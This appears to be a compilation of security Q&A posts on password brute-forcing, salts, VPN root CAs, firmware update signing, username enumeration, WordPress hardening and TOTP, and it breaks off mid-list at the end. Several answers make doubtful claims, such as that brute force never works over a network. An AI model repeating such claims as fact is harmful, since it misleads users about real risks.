Are randomly-generated passwords starting with "a" less secure? I generated a password recently for a new account and the first three characters were "aa1".

After exhausting all other attacks, a cracker would start brute forcing. On the assumption they'd start from "a", my password of "aa1" would be cracked faster than, say, "ba1", and that faster than, say, "za1".

This password was very long so this question is more theoretical than practical. (Unless password lengths are limited, of course...) Are my assumptions right about brute-forcing and passwords?

It would seem that it depends on how exactly the attacker is going to bruteforce your password. However, my opinion is that in the end it doesn't matter.

A serious attacker will never start from the beginning in alphanumeric order, from aaaaaaaa to 99999999, unless they know they can do that in a reasonable time. If that's going to take them a thousand years, why should they use that method, knowing they will necessarily have to stop at, say, cccccccc? But if the attacker knows that they can try all the possibilities in a reasonable time, then it doesn't matter whether your password is among the first combinations or among the last, because in the end they will find it anyway (in a reasonable time).

Most passwords are still weak (say, your dog's name, plus maybe your date of birth, etc.) and the attackers don't like wasting too much time, let alone years to crack passwords. So what attackers normally do is use dictionaries and patterns. They will first try passwords like: pass123, 123pass, john90, john91, John92, JOHN93, 123456, l1nux4dm1n, etc. If every attempt with dictionaries and patterns fails, they might move on and assume that the password looks truly random. How long will it take to try all the possible passwords? If that can be done in a reasonable time, they might try them all (for example from aaaaaaaa to 99999999). Otherwise if the attacker assumes that they will never be able to try them all, they might try to bruteforce the password with some random guesses (random strings, not ordered): 12hrisn589sjlf, 9f2jcvew85hdye, otnwc739vhe82b, etc. If the attacker is lucky they might find the password, sooner or later. However if the password is too strong, such that it would take them too many years to guess it, they had better give up or think of an alternative attack (phishing, shoulder surfing, keyloggers, etc.)


Why people say that salt helps to prevent rainbow table attack? I am using some frameworks that store salts inside databases. For example this article shows how Devise stores salt together with the user information. My question is why do people say that salts prevent rainbow table attacks? I make this question because if I were the attacker and I had a "Devise table" then I might use both  1) the salt and 2) my table of passwords to create another table with that salt. Does it make sense?

Creation of rainbow table requires much resources to compute it and a lot of space to store the table. The main idea is that despite it costs much resources, it needs to be computed only once, then can be used many times. For instance, some web site or some application has 1 000 000 users. Suppose the password database contains "simple" password hashes without salt. Suppose the hacker has got this database with hashes. For using the system a real password needs to be obtained from the hash.
Knowing their algorithm, the attacker creates a rainbow table. Suppose the attacker has chosen such rainbow table parameters, that it took one day, 24h, on a single PC to compute it. But now the attacker can use this table for breaking any of the hashed 1 000 000 passwords in the database.
But if every password hash uses a separate random salt, then the attacker has to create a rainbow table for every password. This will cost essentially more time and resources, and makes no sense for the attacker.
The length of the salt is chosen usually so that the number of possible salt values is relatively big and the attacker cannot create a rainbow table for all possible values of salts.
The article that you refer describes usage of bcrypt. This hashing algorithm has 2 means against brute-forcing: It uses salt and it is computationally relatively expensive: it works much slower than fast algorithms like MD5 or SHA-512. Usage of salt makes creation of rainbow tables useless. Usage of expensive algorithm requires much more time and not only makes creation of rainbow tables even more expensive, but prevents also from the brute-forcing of separate passwords, because to test all possible passwords the attacker will need the computer power of the whole world for millions of years, which makes brute-forcing useless.


I've just purchased a VPS to use for developing and managing my clients hosting packages. What necessary steps do I have to take? The VPS is running CentOS and I have full access.
I only looked around using the cPanel installation and already disabled anonymous FTP access.
What other security risks are there with a default VPS install?

If you're running cPanel and have root (which it reads as if you do), install this free script, called CSF:  http://www.configserver.com/cp/csf.html

There are several tools to check your servers security and in most cases, this software will tell you where to go, to "harden" your cPanel install.  It's not a end-all-be-all to your cPanel security but it most definitely goes a long way!  Good luck.

Oh... one more thing.  If you don't use CSF (or anything else) the first thing I'd do is change your SSH port and disable root's access to SSH (make sure you have a new user created to join the sudo'ers and wheel groups).  That's basic Linux stuff right there.  You can lock SSH down even further by disabling password auth. into SSH, only allowing keys to gain access to SSH.  Just my 2 cents.  :)


Does a solution exist for transferring large files across a network that is faster, yet just as secure as scp? I'm posting this here rather than unix/linux, because the primary deal breaker here would be a deteriorated security layer.

I'm wondering if there are (noticeably) faster solutions available for transferring large amounts of data between hosts, when compared to scp? I don't want to compromise the security aspects of scp though, so the answer here might just be 'tough luck', which is fine.

I do hope there exists some service though that allows for full (or at least, nearly full) pipe saturation when transferring data. Perhaps a plausible solution would be to tar the files into an encrypted tar before transferring? Then we could be free to transfer using whichever utility we desire?

scp uses the SSH protocol which is already up to the task to transferring at the full bandwidth allowed by the local network, at least on 100baseT ethernet. For gigabit networks, you may have to fiddle a bit, but usually the CPU is not the bottleneck.

Since you do not tell much details about your performance issues, I can only hazard hypotheses. What must be said is the following:

Your network (the wires and network interfaces) have a maximum bandwidth. For instance, 100baseT ethernet runs at 100 Mbits/s (bits, not bytes), and there is a bit of overhead, so with such wires you may reach about 10 or 11 MBytes/s, no more. If scp on a single big file already gives you a comparable figure, then you are already as fast as you can go. If your performance is noticeably slower, then you should investigate hardware and driver issues.
A normal, up-to-date scp installation should select a reasonably fast encryption algorithm (typically AES-128), that can be applied efficiently by even not-so-recent PC (100 MBytes/s would be typical). It is conceivable, through obsolete tools, misconfiguration, or anemic hardware from the previous century, that raw encryption speed is your problem. To test for that, you may want to run a CPU usage report tool (e.g. top on a Linux system) while you do the transfer, on both the client and server, to see if the CPU saturates. You may also want to run the scp command with the -v argument to get some details on the negotiated algorithm; look for something which looks like:

debug1: kex: server->client aes128-ctr umac-64-etm@openssh.com none

If you do not saturate on CPU, then you have no improvement to expect from a protocol change.
Compression may or may not help. scp can compress data on the fly; use the -C flag to enable it. Compression can make some data shorter, hence allow it to be transferred faster, but this comes at a cost in CPU, which may then become the bottleneck. Big video, mp3 files and jpg pictures are already compressed and usually don't benefit from extra compression by scp.
A known issue with scp is latency, not when transferring a single file, but when sending many small files: scp tends to wait for an acknowledge of reception of each file from the peer before proceeding with the next one.

If that is your case, then solution is indeed to use another transfer protocol, but still within a SSH tunnel. You can, indeed, pipe some tar output; it is as simple as:

tar cf - somefiles | ssh theserver 'tar xf -'

However, you may find rsync easier to use. It can invoke ssh for you, so you still use the SSH tunnel (and thus benefit from all the security goodness), but it will be efficient for sending files, including optional compression and "syncing" directories (i.e. avoiding the sending of files which are already on the other side).


Is there a security benefit of using a Virtual Machine over dual booting? I was looking at a question asking about Dual booting in SuperUser, and I was if there is added protection of using a VM over dual booting.  From what I've been told, a VM is it's own sandbox, and that everything that happens (or almost everything) will only affect the VM.

Now, lets say you have 2 HDs, or even 1 HD that is dual booted.  Is there the same security sandbox in place at all?  I would assume that 2 HDs, would be safer than 1, just in case the Malware is able to spread over the sinlge HD, and could this also might be the same for a VM?

So my questions are.

Is there any security advantages over using a VM vs just dual booting?
Will using the same HD for your Dual Boot/VM cause more security risks due to being on the same HD as your regular boot?

I am assuming that advanced malware, that could attack hardware, would play an issue here, which is why I assume that the same HD could be an issue.  Would it be possible for Malware to infect another HD that is a separate boot?

EDIT:  It seems that VM is the way to go, which is funny because it seems like a Dual Boot is more work to set up, while being less secure.

To add to another part to the question, are there certain VMs that are much more secure than others, or are they all pretty much the same?  One point was saying that some VM use their own kernal, while others will use the Systems, so that seems to be the first step...

But is there anything else we should look for when finding a VM?  I know someone who uses VMWare currently, but not sure how good that one is..

Thanks a lot all!

If you plan to run malware or at least untrusted binaries, then I would recommend running it in VM (or even segmented hardware).

You can't trust what the "dirty" system is doing with other partitions, boot sectors, or BIOS, when it is booted.

Additional advantage is that most of virtualization software can provide you with some kind of snapshots.  You can the use the snapshots as:

take a snapshot
run untrusted software / malware
revert the system state to trusted state before running malware

It should be noted that even running in Virtual Machine is not 100% safe of problems. Time to time, ways of how to escape the sandbox of the virtual machine are found.  For example CVE-2014-0983


Sending a token with a request from one app to another Say I have an application written in some language and framework (Python + flask, for instance), and have a great deal of the functionality requiring login, and authentication via JWT.

Now I want to create a new module built as an app, possibly made in with different tools (django, for instance, or maybe even in a different language), in its own small separate project. This new mini app, which is more a module than a complete app, will receive some information from the user that was entered in the other app, but also was thinking about sending in the token, so that the user doesn't have to login again into this new "app". In essence, upon a certain condition being met, the user will be redirected to a new page (which is where the new app comes in) while sending the necessary authentication information and some other information. I have never done this before, but I believe/hope I could find a way to do it.

Would this be a sane/safe way of constructing this application, or am I exposing my system to great dangers? If the latter, what is the worst thing an attacker could do? Basically, is this in violation of any principles of security?

Sounds like you're trying to implement something like single sign-on between two of your apps. In this case, you should be able to without any significant security issue.

Instead of authenticating with login credentials, you could have App B authenticate with App A's session ID. Obviously give the ID the same protections you'd give login creds, i.e. only send it over HTTPS.

The server behind App B still has to verify the authenticity of the session ID by checking it against the server for App A. As long as the authentication done in App A and session management done in both apps is consistent and robust, there shouldn't be any security issue.


Why do VPN Providers ask for installation of Root CA? I've seen a lot of VPN providers and they all seem to agree on one thing: ask user to install their own Root CA.

I don't get why they do it. A legit server should have a certificate generated by trusted CA which means the certificate would be verifiable all the way down to the trusted root certificates installed on the device.

This is like trusting someone who says he's the president because he vouches for himself.

Why don't they have certificates generated by legit CAs? Their websites sure do. Why isn't this the case for their VPN Servers as well?

With that in mind, does it even make sense to use VPN for privacy? If the provider is able to perform MITM attacks then you're basically giving them everything including your money.

So this leads to my second question: how is this game working and no one is calling it out?

Extra: To be frank, I was thinking of turning my own device into a mini VPN server for some people I know. The only problem is verifying my server's certificate on the client side. Yes if I'm writing the client I can ignore this part, but that's dangerous for my friends' devices. Therefore, the solution I came up with was deploying my own Root CA certificate with my VPN client which will use it to verify my server and so they can connect to me. The thing is, if I paid a trusted CA to generate certificate for me  I wouldn't need to ship my own Root CA certificate with my client.

Update: I have just checked my own VPN provider, it installs its own Root CA. So I went right ahead and removed the certificate from my system. Guess what, the VPN service was unaffected. So just a tip, try to uninstall the certificate if you have one, at least that way you can still prevent them from acting as MITM.

This allows the VPN server to decrypt your encrypted traffic. For corporate VPNs, this is common in order to comply with policies that require monitoring. It may also be used by free VPNs for the purpose of injecting ads, which could not be done otherwise. The reason they cannot get a legitimate CA to sign it is because they want a certificate that is valid for every site, including Google and Facebook and Stack Exchange. No CA will give vpncompany.example.com a certificate that is valid for google.com.

  With that in mind, does it even make sense to use VPN for privacy?

Unless your goal is to be able to safely use open Wi-Fi without risking some script kiddie stealing your passwords, then no, it does not make sense. The "private" in Virtual Private Network refers to IANA-reserved private IP addresses (e.g. 10.0.0.0/8), not the right to privacy or anything of the sort.

  how is this game working and no one is calling it out?

But people do call it out! A lot of people tell you VPNs are not useful for privacy or anonymity, but they're always ignored by the hordes of people who buy into VPN marketing schemes who suggest everyone buys a VPN. In reality, there are only three valid uses of a VPN, the first of which is the biggest one:

Internal networking (e.g. a corporate VPN to get you onto a company network).
Protect your data when using an insecure public network (e.g. at an airport).
Torrent relatively safely (for those who are too poor to afford a seedbox).

  Therefore, the solution I came up with was deploying my own Root CA certificate with my VPN client which will use it to verify my server and so they can connect to me.

No! Don't create a root certificate! Those are capable of overriding every other certificate. What you would want to create is a single self-signed certificate for authentication with OpenVPN (or whatever protocol you are using). There is absolutely no need for a root certificate in that circumstance.


Local Burp Proxy not showing routed packets I created a hotspot on wlp2s0 and connected an android device, whose IP is 10.42.0.62.

I am trying to route my all packets from my wlp2s0 interface to burp proxy which running on 8080 and I also enabled invisible proxy, but still no luck

I am routing packets using this firewall rule

iptables -t nat -A PREROUTING -s 10.42.0.62 -p tcp -j REDIRECT --to-ports 8080

After enabling this rule Internet access on device stops working means rule is working, but burp proxy is not showing any data flow.

Please anybody point out what I am doing wrong, I wasted many hours in this.

Update: I was trying Burp Proxy on PC browser and was playing with proxy settings like Socks5 and resolve dns over Socks5 and then burp proxy stopped working even on PC browser. So I think when I route packets through Burp then it not resolves DNS queries and then my android stucks at DNS requests and there is no flow of TCP packets, that's why Burp Not showing anything. So, I think main question is how we can resolve DNS queries through Burp Proxy.

I had the same problem .
This solved my issue:

Modify the /etc/hosts file .
Change this 127.0.0.1 localhost into 127.0.0.1 local.dev where local.dev can be what you like


Can a signed downloaded file be securely verified if you only control the private key and the download/verification algorithm? I'm designing the update procedure for IP Camera's. I'm wondering if my current design is secure enough.

I have a binary file that I want to get to a device. I make a hash of this binary file and encrypt the hash with my private key (a signature). I put this binary file and the encrypted hash in a zip file. I create a MD5 hash of the zip file. I put the public key, MD5 hash and zip file publicly available.

I have multiple devices, some of them under hostile client control, some of them under friendly client control.

The friendly clients have a download algorithm like this:

On receiving a command, containing URL's, the provided URL's are used to download the public key, the MD5 hash and the zip file. The downloaded zip file is checked to see if it matches the MD5 hash. It is then extracted. Then the encrypted key is decrypted with the provided public key. A hash is made of the binary file and compared with the decrypted key.

If both the MD5 check and the hash check of the binary file succeed, the binary is executed with root access.

The hostile clients have access to the whole device, so any stored secrets on the device are known to them. They don't have access to the system I store the private key on, though.

From what I can see, the command and timing thereof is potentially hostile, the URL's are potentially hostile, so the zip is potentially hostile, as is the binary and hash and MD5. The MD5 hash is easily bypassed, but it only serves as file integrity check. The encrypted hash of the binary, however, is my main point of defense.

When the zip and the binary and the encrypted hash and the public key are all under control of the attacker, is my system still secure (that is, can an attacker make a friendly client execute a binary that didn't originate from me)? Is breaking the security easier since the "ciphertext" and "plaintext" and the public key are provided? If it is easier, is it easier by any relevant magnitude?

No, your update process is flawed, and anybody trying to comprimise it will succeed.

I assume you are not using TLS/HTTPS, as you don't mentioned them in your question.

That's why:

Your public key is to be obtained from the Internet

This allows the attacker to intercept the connection and provide a tampered public key. All your verification process was already defeated.
Your zip is downloaded and verified using a possibly tampered key

As soon as the file gets downloaded it will be checked against the public key (now tampered). The attacker has already compromised the public key, and can create a new zip with a malicious payload and sign it with the generated key. Your program will happily accept it.

At this moment, the malicious payload gets executed with root access. Game over.

A (somewhat) safer approach is this:

Use SSL/TLS

This makes harder to intercept and tamper with the files over the internet.
Use certificate pining

It makes even harder to tamper the files, as a self signed or unrecognized CA will not be accepted.
Put the public key on your updater

This way it will not be easily fooled into accepting a forged update package.
Protect the updater

Your device must not allow access to the memory or the contents of the filesystem where the updater is installed. If you fail at this, the public key inside it could be changed.


Encryption of settings/credentials in mobile apps - what threats does this protect against? I have been decompiling Android apps recently. In a sample of 37 apps, 12 of these use some form of custom encryption/obfuscation to store settings and credentials on the device.

By necessity, the app itself has the key to encrypt and decrypt. For 11 of these apps, the key/method is entirely hardcoded. One of the apps generates and stores the key at first run alongside the encrypted data.

My understanding of the Android system is that no app should be able to access another app's data. This would prevent other apps reading the data.

For all of these, recovering the encryption/decryption method is trivial.

What threats does encrypting like this protect against?

The problem with hardcoded keys is that you can find them (as you did).  As you've stated encryption and decryption of the data is trivial.  Android's process isolation is solid (not perfect), but does provide a good degree of separation between applications.

There are three scenarios that I can think of that a threat could take advantage.

Malicious Android App w/ Root
Physical compromise of the phone
App Has Full Access to its data

There are lot of apps and 3rd party apps out there that require root to perform all of its functionality.  If your phone is rooted and you download a malicious app then the process isolation won't make a difference.  The private data can be read, decrypted, and ex-filtrated.

If your phone is stolen the same thing can occur.  An exploit can be used to root the phone, and download the private app data.  With the hardcoded keys the data can be decrypted.

This is not to say that this is trivial to perform.  The lock on your phone will (hopefully) force the attacker root the phone over USB.  I don't know the specifics of all methods to reset a phone, but I believe most of them will remove any useful data from the phone.  As an paranoid Android user I would avoid using the apps that I know have hardcoded keys, but if I wasn't paranoid I might not care as much.  The level of effort to perform the exploitation is pretty high.  They want to go through all that trouble to see my Candy Crush score... go for it1.

The third scenario is probably more concerning.  If they use hardcoded keys what's stopping the App owner themselves from sending the sensitive information (could be encrypted) to their own private server.  They know the hardcoded key, so they can just decrypt at will your data.

The threat model here really depends on what type of data these apps are protecting.  If it's your preference to receive notifications... then maybe you don't care.  If it's private conversations, contacts, messages, pictures, etc then this would be a larger threat.

  By necessity, the app itself has the key to encrypt and decrypt.

Not necessarily.  There are multiple ways that the app could encrypt private data securely without needing a hardcoded key.  The app could require a user password that generates the encryption key or decrypts a private key that's then used to decrypt data.  Or the apps could just use Android's secure storage since you know... it's provided, documented, and easy.

1 I'm not trying to say that hardcoded keys are a good idea or don't affect security.  I'm just trying to point out that the level of difficulty of exploiting it would be high.


Secure operation of IoT equipment? In the light of recent events around Mirai not being the only IoT botnet, but being joined by IoTroop / IoT_reaper (see here and here ), I wondered what steps need to be taken to securely operate an IoT device. Obviously, just plugging the device into your public-IP internet connection is unwise. But I don't feel that this is the usual deployment scenario. My personal setup is a rather typical home-user's: ISP -> cable modem -> wireless router, and all computers/devices behind this router. This means that there is some firewalling between any given device and the internet. As far as my experience from several companies and universities goes, there is a similar amount of firewalling, if you'd plug your IoT device into any of their company-in-house-network sockets.

So, the first part amounts to the question: What (network) attack vectors need to be considered?

In the above-mentioned setup I regarded the IoT-device as not directly accessible from the internet. This does not seem to be true in the presence of an UPnP-enabled router. On several sites I found that deactivating UPnP increases your security. By my mediocre understanding what UPnP does, this seems very logical, as I don't want insecure devices to poke holes into my firewall. But the same sites that suggest turning UPnP off, never seem to mention what possible side-effects this might have. (I read that some software like Windows Live Messenger relys on UPnP?)

Without UPnP, and without manually redirecting any ports to my IoT device, it seems that my IoT-device would need to make active connections. I can imagine two reasons to make such connections: Connecting to an automatic firmware upgrade mechanism, and to connect to a manufacturer/third-party service, which allows the device to be available from outside of my LAN (e.g. like the Ivideon service).

So, the second part of the question is: Do these active connections pose a threat? (Given that any accounts on such sites have decent passwords.) Does one need to be afraid of man-in-the-middle attacks on the FW-upgrade mechanism, or maliciously altered FW-images?

But what else am I missing out?

[ Of course, there are two most-basic suggestions, one hears on a daily basis: Change default passwords and apply firmware updates (if the manufacturer even cares to provide them). ]

UPnP can safely be disabled. If a service needs a port punched it’ll tell you.

In regards to MITM and altered firmwares: it’s a Wild West our there. Some manufacturers have secure signed images severed on secure servers, some just flash whatever random binary they find over HTTP. You really won’t be MITM’d be your ISP hopefully so that’s not an issue however these unsigned and insecure firmware devices can be compromised from an adjacent compromised device. So if you’re already breached you may be in for an even bigger headache where your only real option is likely to bin the device. If the device is your fridge I’m sorry.

This same principle also applies to all outgoing connections as well if there is some vulnerability in how it handles the responding data. If either the server is compromised or an adjacent device is compromised then an insecure and vulnerable device could be hijacked.

What’s your best bet? Probably keeping them from accessing the wider internet. When that’s not possible, use client isolation so that hijacked devices can’t infect your other devices. Really your best bet is to use as few IOT devices since you really have very little control or access to the configuration.


Is it secure to transfer an RSA private key over the network? Yesterday I got a new hosting space and when setting up SSH access I noticed they expect me to generate a key pair through a web interface, and then to download the private key and install it on my local system.

My question is, is it safe to transfer private keys over the internet? (of course over an SSL-encrypted connection). I've been told to never do so, as it's technically possible for an attacker to grab it during the transfer.

While the likelihood of it being compromised is small, you're better off generating it locally so that the RSA private key never leaves your system. This way you only have to upload your public key to the server.

I wouldn't be too concerned about the TLS layer and data in transit, but I would be more concerned about private key data being remnant on the server, or cached in your web browser.


Mitigating Login CSRF on 3rd party websites I'm working on a project that requires to have a signup/login functionality exposed to partners who manage their own website. For some of these websites they reuse our own backend, and just change the css styling, but other are completely standalone: for this reason it has been thought to prepare a static login form that would be given to the partners, which would trigger a POST request to our own servers.

(depending on the arguments in the form, we would keep track of which partner brought us which users, which apparently covers a business need for analytics)

We're currently missing CSRF protection on some endpoints, like the login one. When asked to look into it, I realized that with a static form, we'd be unable to add CSRF tokens.

It seems to be a minor issue, but it'd be nice to protect our users from login CSRF. For this reason I thought of 2 alternatives:

add a confirmation step before logging in the user when a conflict is found in the session cookie (ruled out due to the changes in the logic flow for session management being too invasive)
instead of a static form, let our partners use an iframe which will contain our own login form, with CSRF protection and all. This would require relaxing the X-FRAME-OPTIONS specifically for the page that will display this login form

Is there a better solution? I don't think that clickjacking on our login form should really be a concern (and clickjacking is normally used to do what could otherwise be trivially obtained with a CSRF, I reckon... so fixing the latter seems to have an higher priority)

I realized that there's another possible solution:

Create an endpoint that will return a CSRF token, return a Access-Control-Allow-Origin header that will grant access exclusively to our partners' domains, and add some javascript that will fetch this token and modify the (otherwise static) form by adding it as an hidden field.

This would remove the need to use iframes, but I think that security-wise is an inferior solution: the more partner domains will be added, the bigger the risk that one day one of these will disappear, we will forget to remove it from the header and the domain name will be squatted... potentially exposing ALL our endpoints to CSRF attacks again. (compared to the insignificant clickjacking risk on the login form only).


What is the risk of different responses when a login username matches or not? I am responsible for a website that allows a user to reset the password, as usual. However, the response of the website is different whether the entered username matches or not.

This would allow an attacker to derive a dictionary of usernames in use.

Is this considered a risk? How much?

Notes:

The website logs each request, so after a while, repeated requests will pile up, but there are no other measures currently.
I will soon fix that problem by returning the same response content, but would like to use this behaviour as an exercise to me and learn about security. I could imagine, that, by response-time-measurements, the fix will still allow to at least guess usernames.
Before fixing, I would like to see how bad or not this specific problem is. After the fix, I would like to rerun any previously successful test to assert, that the problem really is gone.

Using the ZAP Proxy and sqlmap (with aggressive levels), I was not able to find an automated exploit/test to this problem.

While it is true that displaying a different message whether or not the username exist might increase the surface attack, you have to realize that generally :

A username is not a secret

Username are often public (available to anyone that visit the website
ex.: forums)
Username are often email address (public again)
Username are often reused between multiple sites (public again)

There is very few applications were the username is totally secret. Is it your case? Is there no way for anyone else than the user to know his username? But let's look at the risks...

Security Risk

When we are talking about a username/password combo, there is almost no security risk in revealing the username. Some people might argue that you could make yourself vulnerable to brute force attack but it won't work. Why? It's simply because brute force attacks do not work over a network as in most case you will create a denial of service attack before you are able to crack a single password.

Privacy Risk

The one place where it might be critical to keep a username secret might be when the user do not wish to be associated with the service. BUT... If the user really want to stay secret, why doesn't he chooses a username that cannot be linked to him? If I want to keep my identity secret while I'm using a service, common sense tells me that I should not use my real name, real email or real address at least.

Intersting reads about keeping username secrets

Should usernames be kept secret?
http://halfelf.org/2014/username-secret/


Could Stock Exchange be shut down by HFT attack vector? First of all, stock, not stack exchange.

I just read this post on Krypt3ia. In short, it says that HFT attack vector in combination with DDoS is possible new nemesis for stock exchange IT systems. Later on in article author describes how poor IT security is on stocks.

Anyway, as far as I know HFT is... Hmm, metodology? Technology? Well, "something" which demands extremly low latency, very accurate (and very fast) forecasting, being able to process millions of transactions if needed... All in all cutting-edge algorithms, technology and so on.

Question is - how HFT could be used as attack vector? How would that attack looks like? And, of course, could this kind of attack shut down stock exchange?

The key issue with high-frequency or microtrading is the latency, indeed people deploy the systems as close as they can to internet exchanges to get around the one-foot-per-nanosecond unescapable delay in sending data electromagnetically. This means a couple of things:

if you can slow down such trades, they might take place after the opportunity has passed, or the system might have to cancel them. This could mean losing the victim money on a faulty or missed trade, but if the trade is placed despite the delay it could also have a knock-on effect on other traders (or the companies whose stock is being traded) when remote systems react to the delayed trades
any security countermeasures implemented to protect microtrading systems cannot introduce delay into the system, without reducing the value that can be derived from such trading. Therefore you don't have to get much of a reaction from the CSO before turning the system off preferable to protecting it.


Secure sensitive information sent from Server to mobile App Okay, I have a rails backend server which is pretty much just a database server.

The database contains information about different types of a substance, and that substance's confidential inherent percentage makeup.

Admins on the app can create PATCH requests to update records over time, and users of the app on login sync their local REALM database with the server in case any admins have added/deleted/modified any records. The realm database on the app is created and encrypted with a key that is stored in keychain on the first use of the app.

Also on first use, the app will sync completely with the server, retrieving all of the sensitive substance records and storing in encrypted local REALM database.

I am going to encrypt transmission from the outside with ssl, and implement ssl pinning to inhibit MITM attacks.

But what can I do to prevent the public from ever finding out the makeup of these confidential substances?

The only reason the data is stored locally is for offline use. Otherwise I would have the users query the server with the percentage makeups they needed, and the server return with the names of the suitable options.

Never Trust A User

What does this mean? Always assume a user will have access to any and all data on a user's device. You cannot stop them from getting it because they can just follow through your memory heap, find it RIGHT before encryption, and take it.

Prevention

Some bad news boss. You can't. Even if you limit it to being on the remote server only they can still just brute force every combination they are curious about and get it. The only thing you can really do is make it not feasible to do so with rate limiting so that it would take them YEARS. If they have a local copy of the database, and just watch for that encryption key in memory they can get the data either way.

  If they can get the data through any way, they can get the data.

It's a sad truth of security.


My WP site just got hacked for the third time even after following WP hardening guidelines After the second hack, we did all the necessary things written here - https://wordpress.org/support/article/hardening-wordpress/ , https://security.stackexchange.com/a/180925 and we also changed the file permission (wp-config.php to 400). We added WordFence, Limit Login and Bad Robot Black hole plugin to secure the installation.

The hack redirects my site to another site.

We run WP 5.4.1 with the theme https://gracethemes.com/themes/music-wordpress-theme/.
All plugins and theme are updated.

How can I prevent future attacks?

Added below in wp-config.php

define('DISALLOW_FILE_EDIT', true);

Added below in htaccess

# Block WordPress xmlrpc.php requests

<Files xmlrpc.php>

order deny,allow

deny from all

allow from 123.123.123.123

</Files>

<files ~ "^.*\.([Hh][Tt][Aa])">

order allow,deny

deny from all

satisfy all

</files>

<files wp-config.php>

order allow,deny

deny from all

</files>

# Block the include-only files.

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ^wp-admin/includes/ - [F,L]

RewriteRule !^wp-includes/ - [S=3]

RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]

RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]

RewriteRule ^wp-includes/theme-compat/ - [F,L]

</IfModule>

My WP site just got hacked for the third time even after following WP hardening guidelines

(Emphasis added).

I would suggest that you Nuke It From Orbit.

This would entail completely wiping the infected systems and reinstalling everything from scratch.

As the quote goes: "...It's the only way to be sure."


Drawbacks of storing an authentication token on the client side? I am working on an ASP.NET MVC web application, which fetches its data from an API in the back. So authentication is currently done via ASP.NET Forms Authentication, which means the client sends email and password to the website, the website transfers that data to the API which returns an authentication token, which is stored within an ASP.NET session. After that the auth cookie is set on the client.

That's okay and secure (from my current knowledge), no credentials nor the token is stored on the client side.

As a drawback, every AJAX request has to be routed trough the website. As a result, I have a large number of ASP.NET MVC actions, which don't do anything but forward the request to the API and return the result coming back from there.

That may be a bottle neck in the future, because the website infrastructure has to be scaled in the same way the api infrastructure has to be. Now I am looking for a solution to remove these redundant calls via website and go directly to the API from the client (via AJAX).

That requires API authentication from the client. That wouldn't be a problem, technically, if I store the authentication token in LocalStorage (old browsers are not supported).

But how secure is that approach? What options exist for stealing the token, next to JSONP (which can be prevented by not including external scripts, right?)?

Since you'll be making calls to the API server via Ajax (meaning the same page - and the same JavaScript context - will be constant) I'd suggest creating a short lived token in the main server, having the browser request it once, then using it to authenticate with the API server until the page is closed (or the token expires, whichever happens first). Next time the user visits the page, generate a new token.

This way the calls to the main server will be infrequent (and you can't avoid them anyway, since every time the user logs out or clears the cookies he'll have to authenticate with the main site again), and you avoid the hassle of having to secure yet another piece of data.

As for Local Storage attack vectors, I believe in theory they're roughly the same as the ones related to cookies - XSS, physical access to the machine, etc - since it's subject to the Same Origin Policy (at least those created by a SSL protected page are), but contrary to cookies it does not support a restricted visibility by path (i.e. all pages in the domain can access data from any other page). In practice, however, there might be inconsistencies in the way it's implemented, as well as other security holes, so I wouldn't trust it unless I was highly confident it is secure (something I can not really assert with my current knowledge). According to this OWASP guide storing sensitive data in Local Storage is discouraged. SessionStorage is not bulletproof either.


Does a 'reset password' website facility give away too much information? If a website has a reset password facility (which will e-mail the account holder a reset link), does this facility reveal too much information by allowing someone to probe who holds an account by entering various e-mail addresses?

On a login screen you can get around it revealing who holds an account by giving a generic "E-mail or password is incorrect" message when incorrect details are entered. Which could mean an account doesn't exist or that the password is wrong.

The only way I can think of not revealing who holds an account through a password reset link is to provide a generic message saying "You have been sent a reset link to your e-mail address, if you had an account, otherwise you'll need to create a new account" or words to that effect, whether or not a reset link could be successfully sent.

You already answered the question youself: The only way to not give away any information is to display a generic "A message has been sent to a@b.c" after requesting a passwort reset, even if there is no account associated with that email. See also this question for additional details.


What does ssh-keygen's -a option really mean? I discovered the newer OpenSSH format for storing SSH private keys (ssh-keygen -o) uses bcrypt to generate the symmetric key to encrypt the private key. I understand that the -a option is used to adjust the bcrypt work factor. However, I don't understand the exact relationship between the work factor and the given value. -a 200 takes about 5 seconds on my CPU, while this benchmark maxes out with a work factor of 20 taking over a minute. The work factor is a logarithmic scale, and I doubt my laptop is really >2^10 times faster than this person's laptop.

Clearly -a does not directly translate to the bcrypt work factor. So what is the relationship?

The reason I want to know is to extrapolate a "worst-case" cracking rate for my chosen -a value based on this benchmark of a top-end (for 2017) cracking rig (which guesses ~100k hashes/sec across 8 GPUs, using a bcrypt work factor of 5 for the tests).

This differs between ssh-keygen versions. From this post:

  The original difficulty parameter for bcrypt is the log2 number of
  times to rekey the cipher. bhash fixes this number at 64, and instead
  relies on the PBKDF2 rounds parameter to control difficulty.

My original answer was based on the man page for ssh-keygen which states the following:

  -a rounds
                    When saving a new-format private key (i.e. an ed25519 key or any SSH protocol 2 key when the -o flag is set), this option
  specifies the number of KDF (key derivation function) rounds used.
                   Higher numbers result in slower passphrase verification and increased resistance to brute-force password cracking
  (should the keys be stolen).

Therefore a value of 200 will iterate the KDF 200 times. This is an equivalent of a work factor of 7.64, not 200 as you are expecting.

If you wanted your workfactor of 200 you would have to specify -a
1606938044258990275541962092341162602522202993782792835301376.

This won't work for two reasons:

Invalid number (too large) is returned.
You don't have a few universes of time to spare.

If you wanted to try 20 like in the example, go with this number, 1048576.

Basically you need the following two formulae:

  Work factor = log2(rounds)

  Rounds = 2work factor

Update

Therefore, if using the bhash version, divide the number from my working above by 64.

$ time ssh-keygen -o -a 16384 -f ./testkey -N password123
Generating public/private rsa key pair.
Your identification has been saved in ./testkey.
Your public key has been saved in ./testkey.pub.
The key fingerprint is:
SHA256:eU/T6ex/wDJNsb8soOzGN/uxup0Zdjthvxt1e23wb6c foo@bar
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|              .  |
|               o |
|         .   .o. |
|        S . o++.o|
|         . +o++=*|
|        o . o*==O|
|         = oooB=X|
|        o..+**EBO|
+----[SHA256]-----+

real    2m17.181s
user    2m16.677s
sys 0m0.005s


Two factor brute force protection If I implement two factor authentication using TOTP, I (obviously) have to protect against simple brute force attacks of the TOTP value.

If I ask for the TOTP value after successful password login, the attacker already knows the valid password. Since the default length for TOTP value is 6 digits, it's easy to brute force.

Possible solutions:

Block user account: Disadvantage of blocking a legitimate user with no way of unblocking.
